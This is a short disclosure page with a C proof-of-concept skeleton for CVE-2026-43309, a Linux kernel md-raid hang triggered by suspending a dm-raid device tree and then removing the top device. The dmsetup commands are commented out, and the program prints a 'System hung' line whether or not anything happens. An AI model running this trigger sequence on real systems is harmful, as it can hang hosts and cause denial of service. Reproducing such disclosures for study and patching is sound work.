CVE-2026-43309: Linux内核md-raid挂起漏洞

/* * PoC for CVE-2026-43309: Linux Kernel md-raid Hang * This is a conceptual reproduction of the vulnerability trigger. * Requires root privileges to setup dm-raid devices. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Simplified pseudo-code to demonstrate the sequence void trigger_vulnerability() { // Step 1: Setup dm-raid managed device (omitted details for brevity) printf("[+] Setting up dm-raid device...\n"); // system("dmsetup create raid_array --table \"...\""); // Step 2: Suspend the device tree from top to bottom // This suspends the top-level RAID device and underlying metadata devices printf("[+] Suspending device tree (top-down)...\n"); // system("dmsetup suspend raid_array"); // Step 3: Remove the top-level RAID device // This triggers md_stop() in the destructor context printf("[+] Removing top-level device...\n"); // system("dmsetup remove raid_array"); // System should hang here as md_stop() tries to flush bitmap to suspended devices printf("[-] System hung attempting to flush bitmap to suspended metadata.\n"); } int main() { trigger_vulnerability(); return 0; }